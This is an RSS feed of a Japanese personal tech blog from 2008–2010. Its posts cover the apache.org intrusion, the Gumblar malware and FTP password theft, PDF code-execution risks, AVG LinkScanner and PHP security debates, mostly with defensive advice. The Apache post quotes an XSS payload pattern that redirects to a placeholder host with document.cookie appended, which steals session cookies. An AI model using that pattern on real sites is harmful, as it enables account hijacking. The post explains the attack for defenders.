https://www.rad51.net/jeans/ コンピューターのことなどを綴ったメモ (旧：目から鱗 w/SQLite) / コンピューター・その他 ja Jeans CMS © Weblog http://backend.userland.com/rss https://www.rad51.net/jeans/skins/jeans/images/jeans2.gif https://www.rad51.net/jeans/ https://www.rad51.net/jeans/?itemid=786 Apacheふたたび侵入を許す、その手口
Apacheサーバが6日から9日までの間、何者かによる侵入を受けパスワードなどの情報が盗まれた。どのような手口で侵入され、何がおこなわれたかを Apache Infrastructure TeamのPhilip Gollucci氏がapache.org incident report for 04/09/2010 : Apache Infrastructure Teamにおいて報告している。どういった手口で侵入が謀られたのかが詳しく説明されており参考になる。

この情報は、XSSを利用した攻撃が実際にはどのように行われるのかを考察する上で興味深い。

１）攻撃は、まずXSSから始まる。tinyurl.comを用いることによって、危険なURLであることを隠蔽して、何人かの管理者をXSSを仕込んだURLに誘導しようとした。

２）URLは、http://xxx.xxx/xxxx/xxxx.jsp?element=name;}catch{.... というもの。サイトHTMLのヘッダ部分に書かれたJavaScriptの脆弱性を付いているようである。詳しく書かないが、攻撃に気づかれないような工夫が色々としてある。ここで、'http://xxx.xxx/xxx.php?data='+document.cookieにリダイレクトすることで、クッキー情報を奪取している。

３）同時にブルートフォースで、10万通りのログインのトライが有ったらしい。

４）４月６日に、これらの攻撃のうちのいずれかが成功したとある。つまり、XSSによるクッキーの奪取が有効だったのか、ブルートフォースが有効だったのか、あるいはその両方が必要だったのか、明らかにしていない。

５）いったん管理者権限が奪取された後は、なすがままだったようだ。

マイコミジャーナルの情報では、XSSの後に総当り攻撃とあるが、元の英語の記事では、"On April 6th, one of these methods was successful."とある。XSSかブルートフォースのどちらかが成功したというニュアンス。

始め、マイコミジャーナルの記事だけを読んだ段階では、セッションクッキーの情報を元に、クラッカーのローカルコンピューターでブルートフォースを行ったのかと思ったが、どうやらそうではないようだ。

Jeansでは、単にセッションクッキーの漏洩だけでは管理者権限の奪取は行えないようになっている（Nucleusでも同じ）。また、Jeansのサイトに直接アクセスすることによる１０万回のブルートフォースを行うのは、かなり難しい。少なくとも、IPv4では、現実問題として不可能である（数千の異なるIPアドレスが必要）。]]> コンピューター・その他 https://www.rad51.net/jeans/?itemid=786 Thu, 15 Apr 2010 14:00:15 PDT ITEM786_20100415 https://www.rad51.net/jeans/?itemid=785 PDFには設計上、コードを実行できる機能が組み込まれているらしい。これは仕様なのであって脆弱性ではないということなのだが、ユーザーにとっては脆弱性か仕様かはどうでもよいのであって、危険であることには変わりない。別の言い方をすれば、仕様が脆弱であるということになろう。

これについて、Foxit Readerでは回避するためのバージョンが、Adobe Readerでは回避するための方法が、それぞれ出ている。

窓の杜: PDF内のプログラムを無断実行される脆弱性を修正した「Foxit Reader」v3.2.1.0401
ITpro: PDFの「危険な仕様」、Adobe Readerは設定変更で回避

なお、Adobe Readerの場合、ほとんど使わないJavaScriptの機能もオフにしておいたほうがよさそうだ。以前、この機能のバッファーオーバーフローを利用した攻撃が存在していたことがあった。]]> コンピューター・その他 https://www.rad51.net/jeans/?itemid=785 Thu, 08 Apr 2010 17:51:39 PDT ITEM785_20100408 https://www.rad51.net/jeans/?itemid=778 次の記事で端的に説明することにする。

１）『怪しげなwebサイトを閲覧したりしないので、大丈夫。』

危険度：大
数年前だと、攻撃コードを含むようなwebサイトは一部のアングラサイトのようなものに限られていたが、最近では、有名企業のwebサイトが感染していた例が多く報告されている。

２）『使用しているPCはファイアーウォールの内部にあるから、大丈夫。』

危険度：大
Gumblarの感染は、webサイトを閲覧した時に起こる。通常のファイアーウォールは、webサイト閲覧をブロックしない。

３）『使用しているツールでは、FTPのパスワードを保存していない。毎回パスワードを打つことでFTP接続しているので、大丈夫。』

危険度：大
Gumblar攻撃の基本は、FTP通信の傍受である。いくらパスワードをツールで保存しないようにしてあっても、FTPを用いてサーバーと接続するときに、入力したパスワードがもれてしまう。

４）『使用しているツールでは、パスワードを高度に暗号化された方法で保存しているので、大丈夫。』

危険度：大
３と同じ。いくらパスワードが読み取り不可能な形で保存されていても、FTPを用いてサーバーと接続するときに、パスワードがもれてしまう。

５）『FTP通信は、仮想化環境内のPCから行っているので、大丈夫。』

危険度：大
いくらFTPを、仮想化環境内から行っても、その仮想化環境がGumblarに感染したPC内に有れば、仮想化環境からのTCP/IP通信を傍受される。

６）『SFTPなど、暗号化された通信手段を用いているので、大丈夫。』

危険度：大～中
SFTPツールでパスワードを保存している設定にしていれば、そのパスワードを抜き取られる可能性あり。パスワードを保存しないような設定にしてあったとしても、今後、キー・ロガーなどを仕込んだ亜種が出てくる可能性があり、その場合は打ち込んだパスワードが読み取られる。

７）『サイトの管理は、webページ上で行う。FTPは用いないので大丈夫。』

危険度：大～中
webページを管理する際のパスワードを盗聴される可能性がある。仮にSSLを用いているとしても、６で述べたように、キー・ロガーを仕込まれるとパスワードが読み取られる可能性がある。

８）『Mac (Linux)を用いているので、大丈夫。』

危険度：中
今後、MacやLinuxを攻撃対象とした亜種が出てくる可能性がある。

---

対策
１－８）　OS、Webブラウザ、及びブラウザに付属の各種ソフト（Adobe Reader, Java ランタイム, Flash playerなど）を常に最新ものに保ち、ウイルス対策プログラムをインストールする。

３）４）SFTPなどの暗号化された通信手段を用いる。
５）FTP通信のほうではなく、web閲覧のほうを（あるいは、両方を）仮想化環境で行う。
６）ツールでパスワードを保存する設定にしない。できれば、web閲覧もしくはSFTP接続を仮想化環境内で行う。

実際に行いたい対処方法は、次の記事に。]]> コンピューター・その他 https://www.rad51.net/jeans/?itemid=778 Thu, 11 Feb 2010 18:06:05 PST ITEM778_20100211 https://www.rad51.net/jeans/?itemid=776 hsurさんも指摘なさっていますが、一部のFTPクライアントで保存されているパスワードが、Gumblar型攻撃（8080系攻撃）で盗み出される可能性があると指摘されているようです。

・GumblarによるFFFTPへの攻撃について
・人気ソフト「FFFTP」の作者が対策を呼びかけ - 「Gumblar」の影響で
・“Gumblar”問題を受け、「FFFTP」のレジストリ設定を削除するツールが公開
などなど

結論から申しますと、これはFTPクライアントの脆弱性でも何でもありません。述べられているように、レジストリから情報を削除するなどの対策をしておくに越したことはありませんが、Gumblar型攻撃に対する対策の基本は、別のFTPクライアントを使うなどの方法ではなく、あくまで、既知のセキュリティーホールをふさいでおくということを強調したいです。

仮に進入を許してしまった場合、どのような措置を施しても無駄になる可能性があることを、知っておいたほうがよいと思います。例えば、FTP接続のパスワードを保存せず、接続時に毎回入力する場合でも、その際に入力したパスワードを抜き出される例があることが知られています。『パスワード漏れ対処版』なるものも公開されているようですが、FTP接続する限り、まったくといっていいほど対処になっていない（パスワードは漏れる）と考えたほうがいいと思います。個人的には、このような対処版が出ることは、問題を大きくするだけだと感じます。『対処版を使っているから安心』などと言う考え方をしないようにしてください。

SCPなどの暗号化された接続方法を用いているようなケースでも、攻撃手法が高度化すればパスワードが漏れるなどの被害が起きうる可能性を完全に排除することはできません。

基本は、

１）OSと、ブラウザやそれに付属するソフトウエアを最新版に保つこと。
２）被害にあったら、すぐにパスワードを変更するなどの措置をほどこして、自身が管理するサーバーをチェックすること。

だと思います。]]> コンピューター・その他 https://www.rad51.net/jeans/?itemid=776 Mon, 01 Feb 2010 00:29:52 PST ITEM776_20100201 https://www.rad51.net/jeans/?itemid=772 JPCERTが、Gumblarに関して注意喚起を行った。

2010-01-08 [更新]
Web サイト改ざん及びいわゆる Gumblar ウイルス感染拡大に関する注意喚起

このウイルスは、webサイト及び一般ユーザーの両方に感染するタイプで、次のような生活環である。

１）Webサイト中では、不正なJavaScriptとして存在している。
２）一般ユーザーがこのようなWebサイトを閲覧すると、Acrobat Reader, Flash Player, Javaなどの脆弱性を付かれて、感染する。
３）感染した一般ユーザが、自らのwebサイトをFTPを用いて管理している場合、そのwebサイトにFTPにより感染する。
４）１－３の繰り返し。

従って、webサイトを管理しているユーザには要注意のもの。

JPCERTに拠ると、このウイルスが突いている脆弱性は、Acrobat Reader, Flash Player, Javaらしい。Acrobat Readerの脆弱性は、DEPを有効にすることで回避できるようだから、どうやらバッファーオーバーフローらしい。

FlashとJavaについては、次のページで最新版かどうかを確認して、そうでなければ最新版をインストールするように勧めている。

Adobe Flash Player:Version Information
Java ソフトウェアのインストール状況の確認

Acrobatの方は、１月８日現在、まだ修正パッチがでていないようで、『編集』→『環境設定』から、JavaScriptを無効にする必要がある。パッチは１３日に公開されるそうである。PDFファイルのほとんどは、JavaScriptを必要としないだろうから、無効の状態でずっと使っていても、多くのユーザーには不具合はないものと考える。

このウイルスが使っている感染のテクニックは、２つ。

１）バッファーオーバーフローなどの、ソフトウエアの脆弱性
２）中間者攻撃による、インターネット通信の傍受となりすまし

１に関しては、とにかく利用しているソフトウエアを最新のものに保つことが必要。２を防ぐには、平文で情報をやり取りするFTPを使うのではなく、SCPなど、暗号化された方法を使うことが望ましい。これらが、基本の防御といえる。

他の防御方法として、ファイアーウォールにより、１・２いずれかもしくは両方を遮断することが考えられる。去年春ごろの流行では、これで１のかなりを防いでいたらしい。２の方も、内から外への接続も監視しておくことで、ある程度防げるはずである。

もうひとつの防御方法としては１→２の流れを遮断すること、例えばWebを閲覧するためのコンピューターとFTP接続をするためのコンピューターを別にするなどの方法が考えられる。Webを閲覧するためのコンピューターとしてVertualBoxなどの仮想ＰＣを用いるのも有効である。これが逆のケース、つまり、FTP接続をするためのコンピューターとして仮想ＰＣを用いるのは有効な方法とはいえない。VirtualBoxからの通信がGumblarに傍受されるからである。

今のところ、感染はWindowsをインストールしたＰＣを介して行われているようだ。しかし、感染メカニズムとしてはMacでも起こりうる。今後、そういった機能を持つの亜種が出てくる可能性は有る。]]> コンピューター・その他 https://www.rad51.net/jeans/?itemid=772 Fri, 08 Jan 2010 12:39:11 PST ITEM772_20100108 https://www.rad51.net/jeans/?itemid=681 一瞬にして無線LANのWEPを解読する方法がついに登場、まもなく解読プログラムを公開予定

知らなかった。恐ろしい。]]> コンピューター・その他 https://www.rad51.net/jeans/?itemid=681 Tue, 21 Oct 2008 23:49:02 PDT ITEM681_20081021 https://www.rad51.net/jeans/?itemid=654
この、大相撲が行われる２週間の間、asahi.comなどの新聞サイトを見るのが大変なのだ。スポーツ欄は見ないようにしなければ、録画したビデオが１００％楽しめない。今日も見てしまった。

『琴欧洲、力の四つ相撲　白鵬を一蹴』

ああ、琴欧洲が全勝を守ったのかぁ。

これ、何とかならないものかな。例えば、クッキー設定をすると特定のタグのついた内容は表示されないとか。色々考えたけれど、大手の新聞サイトではサーバー負担軽減のために何らかのキャッシュを入れているだろうし、簡単にはできなさそう。私が思いつく唯一の可能性は、JavaScriptで特定の記事内容をスタイル変更でhiddenにしてしまうということ。

何とかなりませんか？　→　新聞社の方々。]]> コンピューター・その他 https://www.rad51.net/jeans/?itemid=654 Thu, 22 May 2008 15:38:44 PDT ITEM654_20080522 https://www.rad51.net/jeans/?itemid=650
 

左はチェックしている最中。問題ない場合は、右のように表示が変わる。どのようにして調べているのかを調査するため、自分のこのブログがGoogleの検索結果に現れるように、キーワードを指定してみた。結果として分かったことは、このLinkScannerではそれぞれのページを先読みしているということである。

この機能、良いように見えて、いろいろと問題があると思う。

１）Googleで検索するだけでそれぞれの検索結果のページを読みに行くので、こちらが知らないうちにそれぞれのリンク先のサーバにアクセスログが残る。たとえリンク先をクリックしていなくても。
２）この機能では、リンク先のページだけしか調査していない。したがって、検索結果に現れたリンク先のページは問題なくて、その一つ奥のページに問題があるような場合でも、問題無しと表示されるはず。
３）イントラネット・インターネット両方について、無用なトラフィックの増大がある。
４）Grisoftはこの機能を利用して、問題のあるサイトのデータを収集しようとしているのではないかと言う懸念がある（注：Grisoftへの報告機能をオフにするオプションも有る）。

これらのことについて気にならない人には、便利かもしれない。セキュリティー以外でのメリットとしては、先読みしていることで、リンク先を実際に表示させるのが速くなる可能性があるということ。

私は、閲覧の意志がないページのサーバにアクセスログが残るのがいやなので、この機能をオフにした。AVGのコントロールページでオフにするとAVGが『ちゃんとprotectされていない』と怒る。ブラウザ側で当該のアドオンをオフにすれば、そのようなおせっかいは受けない。]]> コンピューター・その他 https://www.rad51.net/jeans/?itemid=650 Sun, 11 May 2008 17:42:09 PDT ITEM650_20080511 https://www.rad51.net/jeans/?itemid=646
小学生のころ、ドッジボールをよく楽しんだ。運動が苦手な私はチームの戦力にはならない。それでも、ちゃんと参加しようとしてボールを受け取ったり投げたりすると、すぐに相手にやられて、フィールドの外に出されてしまう。ところが、不思議なことに、フィールドの隅で観戦者のように腕組みをしてじっと立っていると、相手にやられることは無かった。強い仲間たちが奮闘してくれれば、そのままフィールドの中に残って勝利を得たりしたものである。

しかし、その強い仲間たちが全員やられてフィールドの外に出てしまうと、当然こちらに攻撃がくる。あっという間にやられて、敗北である。

さて、少し前になるが大垣氏のブログに次のような記事が上がった。

・誤解を招く記事 - LAMPセキュリティを強化する4つの方法
・上記記事の参照先：LAMPセキュリティを強化する4つの方法
・原文はこちら：Four Ways to Keep LAMP Secure

『LAMPセキュリティを強化する4つの方法』では、PHPを腐った果実だとし、だから他の言語（Perl, Python, Ruby）を選ぶのが正しいと主張している。一方で、その主張が間違っていると主張しているのが大垣氏の記事である。
（ちなみに、原文を読んでみると、その日本語訳がかなり良く書けていることがわかる。もっとも、その英文の翻訳を決定した編集局の判断が妥当であったかどうかは、別の評価である。）

少しだけ、大垣氏の記事から引用してみよう。

言語を替えても、インフラを替えても、見つかった脆弱性は放置すれば同じです。「WindowsよりOSXの方が安全」と考えるのはナンセンスです。基本的な要素が同じなら、いかに管理し、対処しているかによりどちらの方が安全か評価できます。同じように「PHPよりPerl/Ruby/Pythonの方が安全」ではありません。これらは偏見に満ちた間違った考え方です。この様な考え方でWebシステムを構築・管理していては、いつまで経ってもWebシステムは安全になりません。

大垣氏は、別の記事で「WindowsよりOSXの方が安全」と考えるのがナンセンスであることを示している。もしセキュリティー対策として、WindowsではなくOSXを選んだり、PHPではなくPerl/Ruby/Pythonを選び、それが単にWindowsやPHPが危険であると思うことが理由なのであれば、これはつまり『逃げ』のセキュリティー対策だ。

ブラウザのセキュリティーホールを突いてマルウエアをインストールしたり、サーバのセキュリティーホールを突いてハイジャックするなどの手口を見ていると、WindowsやPHPをターゲットにしているものが非常に多い。これは、WindowsとPHPが他のOSや言語に比べて脆弱であるからではない。その理由はもっと別のところ、つまりシェアが多いというところにある。攻撃を仕掛ける側に立てば、シェアが多ければ多いほど費用対効果が上がるわけだ。

私自身、このような逃げのセキュリティー対策をまったく使っていないわけではない。例えば、長期出張で家を長期間留守にしたとき、妻のためにMacBookを買った。普段は私がセキュリティー対策やさまざまな設定を施してあるが、留守の間はそれができない。そういう状況で、ウイルスやワームに感染される危険性を考えた場合、WindowsよりもOSXの方がより危険性が低いと考えたからである。他には、私が公開している三国志関連のサイトはNucleusを用いて構築しているが、スパムコメント対策をまったくと言ってよいほど行っていない。このサイトは一見静的ページのようであるため、スパムロボットにとってはコメントが書き込める動的ページだと解釈しづらいためであろう。Nucleusユーザが見れば、一目瞭然でNucleusを使っている（動的ページらしい）と分かるのだが…。これらの『逃げの』対策は、一時しのぎのもので恒久的なものではない。OSXだって、セキュリティーアップデートをしないと危険だし、三国志のサイトにもいずれはスパムが来るだろうと思っている。

今回大垣氏が問題にしている記事の英語原文のサイト（Four Ways to Keep LAMP Secure）を訪問してみたとき、面白いことに気がついた。この記事には『PHP = Trouble』と記述されているにもかかわらず、記事そのものがPHPを用いて提供されているように見えるのだ。『これは危ないよ』と指摘しているその本人が、危ないはずのものを使っているのである。これはもう、滑稽としか言いようが無い。

PHPは危ないと多くの人々が吹聴するその背景には、政治的なものが絡んでいると私は思っている。少なくとも、アメリカでは。それにつられて、日本のお役人が『例えば、PHPを避ける』などと言っているのは、まったく滑稽な話である。この件についても、ここやここ、それにここでも指摘されている。

もし、多くの人たちがこのような『逃げ』のセキュリティー対策としてOSXやLinux、Perl/Ruby/Pythonを使い出したら、クラッカーたちの攻撃対象がこれらのOSや言語に変わるだけのことである。もしそうなった場合、逃げのセキュリティー対策が正しいと主張している人たちは、また別のOSや言語を使うことを勧めるのかもしれない…。]]> コンピューター・その他 https://www.rad51.net/jeans/?itemid=646 Tue, 29 Apr 2008 10:59:08 PDT ITEM646_20080429 https://www.rad51.net/jeans/?itemid=636 SFC miniのVistaでの不具合に付いてであるが、どうやらSFC miniがunmanagedコードであることが原因であるようだ。VistaではWSHのバージョンが上がって、managedコードでWSHが動いるらしい。managedコードからunmanagedのSFC miniを呼び出す事になる。それぞれ独立して動く分にはよいが、文字列の受け渡しなど、unmanagedがわからmanagedがわに情報を移動させた場合、managedがわがGCでunmanagedなメモリ領域を処理してしまうのかもしれない。

で、どうしたものかと色々調べた結果、おそらく解決策になるであろう方法を見つけた。

いままたC++が熱い！「C++/CLI」として大進化したVisual C++ 2005

プロの方々は今更何をとおっしゃるかも知れないけれど、私はこれを昨日知った。恐るべし、マイクロソフト。]]> コンピューター・その他 https://www.rad51.net/jeans/?itemid=636 Sun, 06 Apr 2008 14:56:43 PDT ITEM636_20080406